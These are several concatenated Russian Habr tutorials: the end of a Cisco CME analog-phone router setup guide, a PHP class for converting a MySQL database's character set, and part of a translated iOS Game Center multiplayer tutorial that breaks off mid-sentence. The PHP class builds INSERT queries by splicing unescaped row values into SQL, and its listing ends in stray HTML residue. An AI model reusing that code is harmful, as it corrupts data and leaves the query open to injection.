2. Базовая конфигурация маршрутизатора -------------------------------------- Для базовой настройки достаточно ввести всего несколько команд, с помощью которых мы создадим dial-peer-ы и определим, какая нумерация будет использоваться: > `#звонок на номер 301 маршрутизируем в порт 2/0 > > dial-peer voice 1 pots > > destination-pattern 301 > > port 2/0 > > ! > > #звонок на номер 302 маршрутизируем в порт 2/1 > > dial-peer voice 2 pots > > destination-pattern 302 > > port 2/1` Фактически, уже после этих команд можно звонить с одного телефона на другой согласно сконфигурированной нумерации 3. Дополнительные настройки --------------------------- Для разных стран существуют различные частоты сигналов КПВ, «Занято» и прочих. Эти параметры можно сконфигурировать и для портов маршрутизатора. Например, поменяем настройки сигналов на одном из портов: > `voice-port 2/0 > > cptone RU > > #эта команда установит привычные жителям пост-советского пространства тональности телефонных сигналов` Сравнив сигнал КПВ на двух телефонах можно легко заметить разницу. Еще одна интересная функция — это определитель номера АОН. По умолчанию данная функция выключена, включить ее можно следующим образом: > `voice-port 2/0 > > #эта команда включает функцию ответа на запрос Caller-ID телефоном > > caller-id enable > > #а эта позволяет также передать текстовое имя вызывающего абонента > > station-id name vasya_pupkin > > ! > > voice-port 2/1 > > caller-id enable > > station-id name 302 > > !` Для передачи Caller-ID есть два метода, один из них — это передача номера с помощью DTMF, второй — в цифровом виде с использованием частотной модуляции (FSK) на скорости 1200 бит/сек. Соответственно, получать текстовые данные можно только с помощью второго номера. Что удивительно, оба моих телефона запрашивают эту информацию у АТС (в данном случае, у маршрутизатора) но выводит номер только CIT-400 ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/656/960/75a/65696075a72c1fc635bde33c9eb6052f.jpg) 4. Проверка работоспособности системы ------------------------------------- Итак, самое простое — это просто позвонить с одного телефона на другой Что еще можно проверить: команда **show voice port summary** покажет состояние voice-портов: > `CME#sh voice port summary > > IN OUT > > PORT CH SIG-TYPE ADMIN OPER STATUS STATUS EC > > =============== == ============ ===== ==== ======== ======== == > > 2/0 -- fxs-ls up up off-hook idle y > > 2/1 -- fxs-ls up dorm on-hook idle y > > > > PWR FAILOVER PORT PSTN FAILOVER PORT > > ================= ==================` В листинге видны номера интерфейсов, а также их текущее состояние. Команда **show diag** покажет состояние модулей и плат маршрутизатора Для поиска проблем в установлении соединения можно воспользоваться командами: **debug voip dialpeer** — пошаговый анализ dial-peer-ов **debug vpm signal** — отладка сообщений сигнализации. Как раз здесь я смог увидеть, что мой CIT-300 тоже запрашивает Caller-ID но почему-то его не выводит: > `CME#debug vpm signal > > Voice Port Module signaling debugging is enabled > > CME# > > *Mar 1 02:06:55.963: htsp_process_event: [2/1, FXSLS_ONHOOK, E_DSP_SIG_1100]fxsls_onhook_offhook htsp_setup_ind > > *Mar 1 02:06:55.963: [2/1] get_local_station_id calling num= calling name=302 calling time=03/01 02:06 orig called= > > *Mar 1 02:06:55.983: htsp_process_event: [2/1, FXSLS_WAIT_SETUP_ACK, E_HTSP_SETUP_ACK]fxsls_check_auto_call > > *Mar 1 02:06:56.463: htsp_digit_ready(2/1): digit = 3 > > *Mar 1 02:06:56.615: htsp_digit_ready(2/1): digit = 0 > > *Mar 1 02:06:56.783: htsp_digit_ready(2/1): digit = 1 > > *Mar 1 02:06:56.795: htsp_timer_stop3 > > *Mar 1 02:06:56.795: htsp_process_event: [2/1, FXSLS_OFFHOOK, E_HTSP_PROCEEDING]htsp_setup_req > > *Mar 1 02:06:56.803: htsp_process_event: [2/0, FXSLS_ONHOOK, E_HTSP_SETUP_REQ]fxsls_onhook_setuphtsp_progress > > \*Mar 1 02:06:56.803: [2/0] set signal state = 0x0 timestamp = 0 > > \*Mar 1 02:06:56.803: [2/0] htsp\_set\_caller\_id\_tx calling num=302 display\_info=302 called num=301 > > \*Mar 1 02:06:56.803: [2/0] Caller ID String 80 14 01 08 30 33 30 31 30 32 30 36 02 03 33 30 32 07 03 33 30 32 9E > > \*Mar 1 02:06:56.807: [2/0] htsp\_set\_caller\_id\_tx\_time Caller ID:FSK\_DURING\_RING > > \*Mar 1 02:06:56.807: [2/0] htsp\_start\_caller\_id\_tx string length=23 > > > > *Mar 1 02:06:56.819: htsp_call_bridged invoked > > *Mar 1 02:06:56.819: htsp_call_bridged invokedhtsp_progress_notify > > *Mar 1 02:06:56.827: htsp_process_event: [2/0, FXSLS_WAIT_OFFHOOK, E_HTSP_VOICE_CUT_THROUGH]fxsls_waitoff_voice > > *Mar 1 02:06:56.835: htsp_process_event: [2/1, FXSLS_OFFHOOK, E_HTSP_VOICE_CUT_THROUGH]fxsls_voice_cut_thru > > *Mar 1 02:06:59.027: htsp_timer_stop3 > > *Mar 1 02:07:01.679: htsp_process_event: [2/1, FXSLS_OFFHOOK, E_DSP_SIG_0100]fxsls_offhook_onhook, HF duration Max=1000, HF duration Min=150 > > *Mar 1 02:07:01.679: htsp_timer - 1000 msec > > *Mar 1 02:07:02.683: htsp_process_event: [2/1, FXSLS_OFFHOOK, E_HTSP_EVENT_TIMER]fxsls_offhook_timer > > *Mar 1 02:07:02.687: htsp_timer_stop3 > > *Mar 1 02:07:02.703: htsp_process_event: [2/0, FXSLS_WAIT_OFFHOOK, E_HTSP_RELEASE_REQ]fxsls_waitoff_release > > *Mar 1 02:07:02.703: [2/0] set signal state = 0x4 timestamp = 0 > > *Mar 1 02:07:02.715: htsp_process_event: [2/1, FXSLS_WAIT_RELEASE_REQ, E_HTSP_RELEASE_REQ]fxsls_waitrls_req_rls > > *Mar 1 02:07:02.715: [2/1] set signal state = 0x4 timestamp = 0 > > *Mar 1 02:07:02.715: [2/1] set signal state = 0x4 timestamp = 0 > > *Mar 1 02:07:02.719: htsp_process_event: [2/1, FXSLS_ONHOOK, E_DSP_SIG_0100]fxsls_onhook_onhook` Есть еще одна интересная полудокументированная команда, позволяющая сымитировать вызов на любой из dial-peer-ов. Команда **csim start 301** заставила звонить мой 301-й телефон. Данная команда вбивается из привилегированного режима и не видна при использовании контекстной подсказки. Но тем не менее, команда работает, причем поле вызывающего абонента остается пустым. Для просмотра активных сессий можно использовать команду **show call active voice** На этом пожалуй, все. Спасибо за внимание. **upd** Если у Вас модуль VIC-2DID, то при поднятии трубки вы не услышите КПВ, а при наборе номера будут короткие гудки. Для решения проблемы нужно вбить команду: > `Router(config)#voice-port 2/0 > > Router(config-voiceport)#no signal did`
https://habr.com/ru/post/95802/
null
ru
null
# PHP класс для конвертирования кодировки базы Mysql Недавно я написал скрипт конвертирования Mysql базы из одной кодировки в другую. После, я решил переписать скрипт, создав класс. Теперь можно подключать эту библиотеку в своих скриптах. Использование данного класса показано ниже. > `1. **php</b** > 2. */\*\** > 3. *\* Класс конвертирует базу данных Mysql из одной кодировки в другую* > 4. *\*/* > 5. **class** convertCharsetDb { > 6. protected $\_charsetFrom = 'cp1251'; > 7. protected $\_charsetTo = 'utf8'; > 8. protected $\_isInnoDb = **true**; > 9. **private** $\_\_db; > 10. protected $\_dbParams = array(); > 11. protected $\_logger = array(); > 12. **public** **function** \_\_construct($charsetFrom, $charsetTo, $host, $user, $password, $dbName) { > 13. $this->\_charsetFrom = $charsetFrom; > 14. $this->\_charsetTo = $charsetTo; > 15. *// Коннект к БД.* > 16. $this->connectToDb($host, $user, $password, $dbName); > 17. } > 18. */\*\** > 19. *\* метод, конвертирует базу, все таблицы и ячейки таблиц в кодировку $\_charsetTo* > 20. *\*/* > 21. **public** **function** convertDb() { > 22. if (**false** === $this->\_\_db->query('SET NAMES ' . $this->\_charsetTo)) { > 23. $this->insertLog(0, 'ERROR SET NAMES'); > 24. return **false**; > 25. } > 26. *// Получение списка таблиц.* > 27. if (**false** === ($resultSetTables = $this->\_\_db->query('SHOW TABLES'))) { > 28. $this->insertLog(0, 'ERROR SHOW TABLES'); > 29. return **false**; > 30. } > 31. if ($resultSetTables->num\_rows) { > 32. *// Обходим таблицы БД.* > 33. while ($rowSet = $resultSetTables->fetch\_row()) { > 34. if (!$this->changeTableCharset($rowSet[0])) { > 35. $this->insertLog(0, 'ERROR changeTableCharset. Table: ' . $rowSet[0]); > 36. } else { > 37. $this->insertLog(1, 'SUCCESS changeTableCharset. Table: ' . $rowSet[0]); > 38. } > 39. } > 40. } > 41. *// Теперь сменить кодировку всей базы.* > 42. $\_sql = 'ALTER DATABASE `' . $this->\_dbParams[3] . '` DEFAULT CHARACTER SET ' . $this->\_charsetTo . ' COLLATE ' . $this->\_charsetTo . '\_general\_ci'; > 43. if (**false** === $this->\_\_db->query($\_sql)) { > 44. $this->insertLog(0, 'ERROR CHANGE DATABASE CHARSET. DB: ' . $this->\_dbParams[3]); > 45. } > 46. } > 47. */\*\** > 48. *\* Создает временную таблицу на основе структуры таблицы $tableName с необходимой кодировкой.* > 49. *\* Наполняет временную таблицу сконвертированными данными. Удаляет старую таблицу,* > 50. *\* Меняет название временной таблицы на $tableName.* > 51. *\* @param string $tableName* > 52. *\* @return bool* > 53. *\*/* > 54. **public** **function** changeTableCharset($tableName) { > 55. *// Получаем выборку запроса на создание таблицы.* > 56. if (**false** === ($createTableRes = $this->\_\_db->query('SHOW CREATE TABLE ' . $tableName))) { > 57. return **false**; > 58. } > 59. $createTableRow = $createTableRes->fetch\_assoc(); > 60. *// Строка запроса на создание таблицы.* > 61. $createTableStr = $createTableRow['Create Table']; > 62. *// Меняем тип таблицы. (Опция).* > 63. if ($this->\_isInnoDb) { > 64. $createTableStr = str\_replace('ENGINE=MyISAM', 'ENGINE=InnoDB', $createTableStr); > 65. } > 66. *// Смена кодировки у таблицы и ячеек.* > 67. *// Стоит заметить тот факт, что ячейки могут (МОГУТ!) быть и в других кодировках, отличных* > 68. *// от $\_params['charset\_from']. Этот алгоритм не гарантирует перевод таких ячеек таблицы в* > 69. *// кодировку $\_params['charset\_to']* > 70. $createTableStr = str\_replace($this->\_charsetFrom, $this->\_charsetTo, $createTableStr); > 71. *// Меняем название таблицы на временную* > 72. $createTableStr = str\_replace('CREATE TABLE `' . $tableName . '`', 'CREATE TABLE `' . $tableName . '\_\_tmp`', $createTableStr); > 73. *// Добавляем COLLATE, для правильного поиска и сортировки данных.* > 74. $createTableStr.= ' COLLATE ' . $this->\_charsetTo . '\_general\_ci'; > 75. *// Создаем в БД эту таблицу.* > 76. if (**false** === $this->\_\_db->query($createTableStr)) { > 77. return **false**; > 78. } > 79. *// Из текущей таблицы выводим все данные.* > 80. $resultSetData = $this->\_\_db->query('SELECT \* FROM ' . $tableName); > 81. if ($resultSetData->num\_rows) { > 82. *// Полученные ряды необходимо обработать.* > 83. while ($rowDataSet = $resultSetData->fetch\_assoc()) { > 84. $\_sqlVariables = $\_sqlValues = array(); > 85. *// Обходим выборку по каждой ячейке.* > 86. foreach ($rowDataSet as $rowVariable => $rowValue) { > 87. array\_push($\_sqlVariables, $rowVariable); > 88. array\_push($\_sqlValues, $rowValue); > 89. } > 90. *// после обработки необходимо вставить данные в таблицу новой базы.* > 91. $\_sql = 'INSERT INTO `' . $tableName . '\_\_tmp` (' . implode(',', $\_sqlVariables) . ') VALUES("' . implode('" , "', $\_sqlValues) . '")'; > 92. $this->\_\_db->query($\_sql); > 93. } > 94. } > 95. *// Теперь необходимо удалить старые таблицы.* > 96. $\_sql = 'DROP TABLE `' . $tableName . '`;'; > 97. if (**false** === $this->\_\_db->query($\_sql)) { > 98. return **false**; > 99. } > 100. *// Меняем название временной таблицы в нормальное.* > 101. $\_sql = 'ALTER TABLE `' . $tableName . '\_\_tmp` RENAME `' . $tableName . '` ;'; > 102. if (**false** === $this->\_\_db->query($\_sql)) { > 103. return **false**; > 104. } > 105. return **true**; > 106. } > 107. */\*\** > 108. *\* Создает подключение к бд.* > 109. *\* @param string $host* > 110. *\* @param string $user* > 111. *\* @param string $password* > 112. *\* @param string $dbName* > 113. *\* @return connector* > 114. *\*/* > 115. **public** **function** connectToDb($host, $user, $password, $dbName) { > 116. $this->\_dbParams = array($host, $user, $password, $dbName); > 117. return $this->\_\_db = **new** MySQLi($host, $user, $password, $dbName); > 118. } > 119. **public** **function** setFromCharset($charset) { > 120. $this->\_charsetFrom = $charset; > 121. } > 122. **public** **function** setToCharset($charset) { > 123. $this->\_charsetTo = $charset; > 124. } > 125. **private** **function** insertLog($type = 0, $message) { > 126. switch ($type) { > 127. case 1: > 128. if (!isset($this->\_logger['success'])) { > 129. $this->\_logger['success'] = array(); > 130. } > 131. array\_push($this->\_logger['success'], $message); > 132. break; > 133. **default**: > 134. if (!isset($this->\_logger['error'])) { > 135. $this->\_logger['error'] = array(); > 136. } > 137. array\_push($this->\_logger['error'], $message); > 138. break; > 139. } > 140. } > 141. **public** **function** showLog() { > 142. echo '-------------------------- > '; > 143. echo '--------SUCCESS--------- > '; > 144. if (count($this->\_logger['success'])) > 145. foreach ($this->\_logger['success'] as $i => $message) { > 146. echo ($i + 1) . '. ' . $message . ' > '; > 147. } > 148. echo '-------------------------- > '; > 149. echo '--------ERRORS--------- > '; > 150. if (count($this->\_logger['error'])) > 151. foreach ($this->\_logger['error'] as $i => $message) { > 152. echo ($i + 1) . '. ' . $message . ' > '; > 153. } > 154. } > > li style="font-weight: normal; v`
https://habr.com/ru/post/68015/
null
ru
null
# Как сделать простую игру с мультиплеером через Game Center. Часть 1: подключение Game Center'a в приложение ![](https://habrastorage.org/r/w1560/storage2/e4a/2fb/3ed/e4a2fb3ed4f0049e934ab73205d8b782.png) *Перевод замечательного туториала по интегрированию мультиплеера с использованием Game Center в iOS-игру. На [сайте](http://www.raywenderlich.com/) автора есть множество уроков, призванных помочь начинающим разработчикам игр.* Игра, над которой вы будете работать, очень проста. Это гонка, участниками которой являются собака и ребенок. Тапайте как можно быстрее, чтобы победить! Данный туториал подразумевает, что вы знакомы с основами Cocos2D. В противном случае советую ознакомиться с другими Cocos2D-уроками, которые вы можете найти [тут](http://www.raywenderlich.com/tutorials). **Примечание:** для того, чтобы проверить работу Game Center'а в приложении, вы должны быть зарегистрированным iOS-разработчиком. Также вам необходимо как минимум одно физическое iOS-устройство (для того, чтобы одна копия приложения работала в симуляторе, а другая на девайсе). В конце концов, вам нужно как минимум два различных Game Center-аккаунта для тестирования (не волнуйтесь, вы можете создать их бесплатно, только вам нужен другой e-mail-адрес). Готовы? Тогда ПОЕХАЛИ! ##### Итак, начнём Этот урок демонстрирует добавление мультиплеерной составляющей в простую игру. Так как создание логики игрового процесса не входит в цель данного урока, я приготовил [заготовку](http://d1xzuxjlafny7l.cloudfront.net/downloads/CatRaceStarter.zip), которая содержит код игры без работы с сетью. Скачайте код и запустите проект. Вы должны увидеть что-то подобное: ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/70f/195/a7b/70f195a7b173eaf49c0e3aa18d490335.jpg) Игра очень проста, и код хорошо прокомментирован. Просмотрите его и удостоверьтесь, что вам всё понятно. ##### Включаем Game Center В данный момент у вас есть простая игра, в которую можно поиграть, за исключением того, что в неё очень скучно играть одному! Было бы намного веселее использовать Game Center, чтобы приглашать друзей поиграть с вами или использовать поиск матчей, чтобы играть со случайными людьми. Но перед тем, как начать использовать Game Center, необходимо сделать две вещи: 1. Создать и настроить App ID; 2. Зарегистрировать приложение в iTunes Connect. Давайте же приступим. ##### Создать и настроить App ID Первый шаг — создать и настроить App ID. Чтобы сделать это, войдите в [iOS Dev Center](http://developer.apple.com/devcenter/ios/index.action), а оттуда — в iOS Provisioning Portal. Откройте вкладку App IDs и создайте новый App ID для приложения, так же, как и на скриншоте: ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/3fa/8c6/2e6/3fa8c62e64e7b2fbb529ab9d62eacfa4.jpg) Самая важная часть — это Bundle Identifier. Это должна быть уникальная строка (то есть, он не может совпадать с тем, который использую я!) Хорошим способом является использование вашего доменного имени, за которым следует уникальная строка, чтобы избежать совпадений имен. Когда вы закончили, нажмите Submit. Затем откройте проект Cat Race, выберите Resources\Info.plist (*прим. пер.:* в поздних версиях Xсode этот файл находится в папке Supporting Files и называется %Название\_проекта%-Info.plist) и измените Bundle Identifier на введенный вами в iOS Provisioning Portal, как показано ниже (конечно же, вы будете вводить другое значение): ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/0b1/502/225/0b1502225ddd9aa81c161a59983c25e4.jpg) И последняя вещь. Чтобы не было неприятностей со стороны Xcode, выполните следующие шаги: * Удалите все копии приложения с вашего устройства или симулятора; * Выйдите из симулятора, если он запущен; * Выполните Project\Clean. Поздравляю, теперь у вас есть App ID для приложения, и оно настроено для использования! Теперь вы можете зарегистрировать приложение в iTunes Connect и включить Game Center. ##### Зарегистрировать приложение в iTunes Connect Следующим шагом будет вход в [iTunes Connect](https://itunesconnect.apple.com/WebObjects/iTunesConnect.woa) и регистрация нового приложения. Как только вы вошли в iTunes Connect, выберите Manage Your Applications, затем кликните по голубой кнопке Add New App сверху слева. Введите название приложения, SKU Number и выберите Bundle ID, по подобию раннего образца, также как и на скриншоте: ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/830/ee6/c5e/830ee6c5e99a1b40433a7d005f344745.jpg) Нажмите Continue и заполните базовую информацию о приложении. Не волнуйтесь о правильности, пока это не так важно, ведь вы сможете изменить это позже. А сейчас вам нужно просто что-то внести (включая иконку и скриншот), чтобы сделать iTunes Connect счастливым. Когда вы закончите, нажмите Save, и если всё сделано как надо, то статус приложения будет «Prepare for Upload», как на скрине: ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/3fa/1a6/9d5/3fa1a69d57a1f50acf0214d0931a63be.jpg) Нажмите голубую кнопку «Manage Game Center» справа сверху, затем нажмите «Enable». После этого кликните «Done». Вот и всё, Game Center включен для вашего приложения, и вы можете начинать писать код! Между прочим, в разделе «Manage Game Center», вы также можете управлять списками лидеров и, конечно же, достижениями. В этом уроке работа с ними разобрана не будет. ##### Авторизация локального игрока: теория Когда игра запускается, первым делом необходимо авторизовать локального игрока. Это очень просто. Вы только должны вызвать authenticateWithCompletionHandler. По желанию вы можете сделать так, чтобы определённый блок кода выполнялся сразу после авторизации пользователя. Но есть одна уловка. Есть еще один способ авторизации. Для этого следует переключиться на приложение Game Center, залогиниться оттуда и вернуться обратно в ваше приложение. Ваше приложение должно знать, когда авторизационный статус меняется. Об этом можно узнать, зарегистрировавшись для получения “authentication changed” уведомления. Итак, чтобы авторизовать игрока нужно: * Создать синглтон-объект (*прим. пер.:* синглтон — это шаблон проектирования, гарантирующий, что класс имеет только один экземпляр, и обеспечивающий глобальный доступ к этому экземпляру), чтобы держать код Game Center'а в одном месте; * Когда синглтон-объект создастся, он зарегистрируется для получения “authentication changed” уведомления; * Игра вызовет метод синглтон-объекта, чтобы авторизовать игрока; * Когда игрок авторизуется или выходит, будет выполнен обратный вызов функции “authentication changed”; * Функция обратного вызова будет отслеживать, авторизован ли игрок в настоящее время. ##### Авторизация локального игрока: реализация В проекте Cat Race создайте новый файл, выберите iOS\Cocoa Touch\Objective-C class и нажмите Next. Введите в поле Subclass NSObject, нажмите Next и назовите новый класс как GCHelper, кликните Finish. Далее замените содержимое GCHelper.h на следующее: ``` #import #import @interface GCHelper : NSObject { BOOL gameCenterAvailable; BOOL userAuthenticated; } @property (assign, readonly) BOOL gameCenterAvailable; + (GCHelper \*)sharedInstance; - (void)authenticateLocalUser; @end ``` Этот код импортирует заголовочный файл GameKit и создает объект с двумя булевыми переменными. Одна из них необходима для слежения за состоянием доступности Game Center'а, а вторая для определения, когда игрок авторизован. Также создаются: свойство, чтобы игра смогла сообщить, что Game Center доступен; статичный метод, чтобы поддерживать единственность экземпляра объекта и еще один метод, для авторизации локального пользователя (который будет вызываться при запуске приложения). Далее перейдите в GCHelper.m и добавьте следующий код внутри @implementation: ``` @synthesize gameCenterAvailable; #pragma mark Initialization static GCHelper *sharedHelper = nil; + (GCHelper *) sharedInstance { if (!sharedHelper) { sharedHelper = [[GCHelper alloc] init]; } return sharedHelper; } ``` Здесь синтезируется свойство gameCenterAvailable, которое задает метод для создания единственного экземпляра класса. Замечу, что есть множество вариантов написания синглтон-методов, но это наиболее простой способ, когда вам не нужно беспокоиться о множестве потоков, пытающихся инициализировать синглтон в одно и то же время. Далее добавьте следующий метод сразу после метода sharedInstance: ``` - (BOOL)isGameCenterAvailable { // check for presence of GKLocalPlayer API Class gcClass = (NSClassFromString(@"GKLocalPlayer")); // check if the device is running iOS 4.1 or later NSString *reqSysVer = @"4.1"; NSString *currSysVer = [[UIDevice currentDevice] systemVersion]; BOOL osVersionSupported = ([currSysVer compare:reqSysVer options:NSNumericSearch] != NSOrderedAscending); return (gcClass && osVersionSupported); } ``` Этот метод был взят прямо из [гайда Apple по использованию Game Kit](http://developer.apple.com/library/ios/#documentation/NetworkingInternet/Conceptual/GameKit_Guide/Introduction/Introduction.html%23//apple_ref/doc/uid/TP40008304-CH1-SW1). Этот метод проверяет доступность Game Kit на конкретном устройстве. Благодаря этому, приложение сможет запускаться на iOS 4.0 или ранее (только без мультиплеера). Далее добавьте следующий код сразу после предыдущего метода: ``` - (id)init { if ((self = [super init])) { gameCenterAvailable = [self isGameCenterAvailable]; if (gameCenterAvailable) { NSNotificationCenter *nc = [NSNotificationCenter defaultCenter]; [nc addObserver:self selector:@selector(authenticationChanged) name:GKPlayerAuthenticationDidChangeNotificationName object:nil]; } } return self; } - (void)authenticationChanged { if ([GKLocalPlayer localPlayer].isAuthenticated && !userAuthenticated) { NSLog(@"Authentication changed: player authenticated."); userAuthenticated = TRUE; } else if (![GKLocalPlayer localPlayer].isAuthenticated && userAuthenticated) { NSLog(@"Authentication changed: player not authenticated"); userAuthenticated = FALSE; } } ``` Метод init проверяет доступность Game Center'а, и в случае положительного результата регистрируется для уведомления “authentication changed”. Важно, что приложение регистрируется для этого уведомления перед попыткой авторизовать пользователя, таким образом оно срабатывает после завершения авторизации. Функция обратного вызова authenticationChanged очень проста: она проверяет, авторизован ли был пользователь во время смены состояния, и меняет флаг соответствующим образом. Отмечу, что для обучающих целей функция может вызываться несколько раз подряд для авторизации или выхода, чтобы удостовериться, в том, что флаг userAuthenticated отличается от текущего статуса, и только показывает, были ли изменения спустя какое-то время. Наконец, добавим метод для авторизации локального игрока сразу после метода authenticationChanged: ``` #pragma mark User functions - (void)authenticateLocalUser { if (!gameCenterAvailable) return; NSLog(@"Authenticating local user..."); if ([GKLocalPlayer localPlayer].authenticated == NO) { [[GKLocalPlayer localPlayer] authenticateWithCompletionHandler:nil]; } else { NSLog(@"Already authenticated!"); } } ``` Здесь вызывается метод authenticateWithCompletionHandler, который будет упомянут позднее. Он служит для того, чтобы сообщить Game Kit'у о необходимости авторизовать игрока. Замечу, что он не передает completion handler. С тех пор, как вы зарегистрировались для получения “authentication changed” уведомления, это необязательно. Окей, теперь GCHelper содержит весь код, необходимый для авторизации игрока, поэтому теперь осталось только использовать его! Переключитесь на AppDelegate.m и сделайте следующие изменения: ``` // В самом начале файла #import "GCHelper.h" // В конце applicationDidFinishLaunching, сразу перед // последней строкой, которая вызывает runWithScene: [[GCHelper sharedInstance] authenticateLocalUser]; ``` Это создаст единственный экземпляр (который зарегистрируется для обратного вызова “authentication changed” в процессе инициализации), затем вызовет метод authenticateLocalUser. Почти готово! Последний шаг — добавить фреймворк Game Kit в проект. Чтобы это сделать, выберите проект Cat Race слева сверху вкладки Groups & Files, перейдите на кладку Build Phases, разверните “Link Binary with Libraries” и нажмите на кнопку "+". Выберите GameKit.framework и кликните Add. Смените тип с Required на Optional, и ваш экран должен выглядеть похоже на следующее: ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/c12/2dc/04f/c122dc04f1ee8f8e10669075036c6439.jpg) Вы сделали это! Соберите и запустите проект, и если вы выполнили вход в Game Center, то вы должны увидеть что-то подобное: ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/8ff/128/581/8ff128581695689c9e1b687bd06b42da.jpg) Теперь, когда вы авторизовали игрока, вы можете начинать развлекаться, например, найти кого-нибудь, с кем можно поиграть! ##### Game Center, Game Center, сделай мне матч Есть два способа, чтобы найти кого-нибудь, с кем поиграть, через Game Center. Это поиск матча программно или использование встроенного интерфейса создания матчей. В этом уроке вы изучите встроенный интерфейс создания матчей. Идея заключается в том, что когда вы хотите найти матч, вы передаёте некоторые параметры в объект GKMatchRequest, затем создаёте и отображаете экземпляр GKMatchmakerViewController'а. Давайте посмотрим, как это работает. Сначала внесём некоторые правки в CGHelper.h: ``` // Добавьте в начало файла @protocol GCHelperDelegate - (void)matchStarted; - (void)matchEnded; - (void)match:(GKMatch *)match didReceiveData:(NSData *)data fromPlayer:(NSString *)playerID; @end // Измените строчку @interface для поддержки протоколов таким образом @interface GCHelper : NSObject { // Добавьте внутрь @interface UIViewController \*presentingViewController; GKMatch \*match; BOOL matchStarted; id delegate; // Добавьте после @interface @property (retain) UIViewController \*presentingViewController; @property (retain) GKMatch \*match; @property (assign) id delegate; - (void)findMatchWithMinPlayers:(int)minPlayers maxPlayers:(int)maxPlayers viewController:(UIViewController \*)viewController delegate:(id)theDelegate; ``` Давайте быстро пройдёмся по этому коду. * Вы определяете протокол GCHelperDelegate, который используется, чтобы уведомить другой объект о важных событиях, таких как: начало матча, окончание или получение данных. В этой игре ваш Cocos2D слой будет реализовывать этот протокол; * Объект GCHelper реализует два протокола. Первый служит для того, чтобы интерфейс создания матчей мог уведомить этот объект, когда матч найден или нет. А второй — чтобы Game Center мог уведомить этот объект, когда получены данные или изменился статус соединения; * Создаются новые переменные и свойства экземпляра, чтобы следить за view controller'ом, который будет отображать интерфейс создания матчей. А также ссылка на матч, переменная, которая позволяет узнать, начался ли матч или нет, и делегат; * Создается новый метод, чтобы Cocos2D слой мог найти кого-нибудь, с кем можно поиграть. Теперь переключитесь на GCHelper.m и внесите следующие изменения: ``` // В начале файла @synthesize presentingViewController; @synthesize match; @synthesize delegate; // Добавьте новый метод, сразу после authenticateLocalUser - (void)findMatchWithMinPlayers:(int)minPlayers maxPlayers:(int)maxPlayers viewController:(UIViewController *)viewController delegate:(id)theDelegate { if (!gameCenterAvailable) return; matchStarted = NO; self.match = nil; self.presentingViewController = viewController; delegate = theDelegate; [presentingViewController dismissModalViewControllerAnimated:NO]; GKMatchRequest \*request = [[[GKMatchRequest alloc] init] autorelease]; request.minPlayers = minPlayers; request.maxPlayers = maxPlayers; GKMatchmakerViewController \*mmvc = [[[GKMatchmakerViewController alloc] initWithMatchRequest:request] autorelease]; mmvc.matchmakerDelegate = self; [presentingViewController presentModalViewController:mmvc animated:YES]; } ``` Этот метод, который будет вызываться слоем Cocos2D для поиска матча. Если же Game Center недоступен, то этот метод ничего не делает. Он инициализирует матч как еще не начавшийся и объект матча как nil. Он сохраняет снаружи view controller и делегат для дальнейшего использования и отменяет любой view controller, существовавший до него (в случае, если GKMatchmakerViewController в данный момент отображается). Затем идет важная часть. Объект GKMatchRequest позволяет задать тип матча, который вы ищете, такой как минимальное и максимальное количество игроков. Этот метод устанавливает их такими, какими они были переданы в него (для этой игры минимум — 2 игрока, максимум — тоже 2 игрока). Далее он создает новый экземпляр GKMatchmakerViewController'а с полученным запросом (*прим. пер.:* экземпляром GKMatchRequest), устанавливает делегатом объект GCHelper и выводит переданный view controller на экран. С этого момента управление передаётся GKMatchmakerViewController'у, который разрешает пользователю найти случайного игрока и начать игру. После этого некоторые функции обратного вызова будут вызваны, поэтому давайте добавим их: ``` #pragma mark GKMatchmakerViewControllerDelegate // Игрок отклонил создание матча - (void)matchmakerViewControllerWasCancelled:(GKMatchmakerViewController *)viewController { [presentingViewController dismissModalViewControllerAnimated:YES]; } // Создание матча вылетело с ошибкой - (void)matchmakerViewController:(GKMatchmakerViewController *)viewController didFailWithError:(NSError *)error { [presentingViewController dismissModalViewControllerAnimated:YES]; NSLog(@"Error finding match: %@", error.localizedDescription); } // Матч найден, игра должна начаться - (void)matchmakerViewController:(GKMatchmakerViewController *)viewController didFindMatch:(GKMatch *)theMatch { [presentingViewController dismissModalViewControllerAnimated:YES]; self.match = theMatch; match.delegate = self; if (!matchStarted && match.expectedPlayerCount == 0) { NSLog(@"Ready to start match!"); } } ``` Если игрок отменит поиск матча, или возникла ошибка, то вид создания матча просто закроется. А если матч найден, то он сохранит объект матча и установит GCHelper делегатом делегатом матча, чтобы он мог быть уведомлен о поступающих данных и изменении статуса соединения. Также он проверяет, пришло ли время начинать матч. Объект матча хранит количество игроков, которое необходимо найти в переменной expectedPlayerCount. Если она равна 0, то все готовы начать. Теперь мы просто выведем это в лог, позднее мы сделаем здесь кое-что интересное. Далее, добавьте реализацию функций обратного вызова GKMatchDelegate: ``` #pragma mark GKMatchDelegate // Объект матча получил данные от игрока - (void)match:(GKMatch *)theMatch didReceiveData:(NSData *)data fromPlayer:(NSString *)playerID { if (match != theMatch) return; [delegate match:theMatch didReceiveData:data fromPlayer:playerID]; } // Состояние игрока изменилось (например, присоединился, отсоединился) - (void)match:(GKMatch *)theMatch player:(NSString *)playerID didChangeState:(GKPlayerConnectionState)state { if (match != theMatch) return; switch (state) { case GKPlayerStateConnected: // handle a new player connection. NSLog(@"Player connected!"); if (!matchStarted && theMatch.expectedPlayerCount == 0) { NSLog(@"Ready to start match!"); } break; case GKPlayerStateDisconnected: // a player just disconnected. NSLog(@"Player disconnected!"); matchStarted = NO; [delegate matchEnded]; break; } } // Объект матча не смог соединиться с игроком из-за ошибки - (void)match:(GKMatch *)theMatch connectionWithPlayerFailed:(NSString *)playerID withError:(NSError *)error { if (match != theMatch) return; NSLog(@"Failed to connect to player with error: %@", error.localizedDescription); matchStarted = NO; [delegate matchEnded]; } // Матч не смог начаться из-за ошибки - (void)match:(GKMatch *)theMatch didFailWithError:(NSError *)error { if (match != theMatch) return; NSLog(@"Match failed with error: %@", error.localizedDescription); matchStarted = NO; [delegate matchEnded]; } ``` match:didReceiveData:fromPlayer вызывается, когда другой игрок отправляет вам данные. Этот метод просто перенаправляет 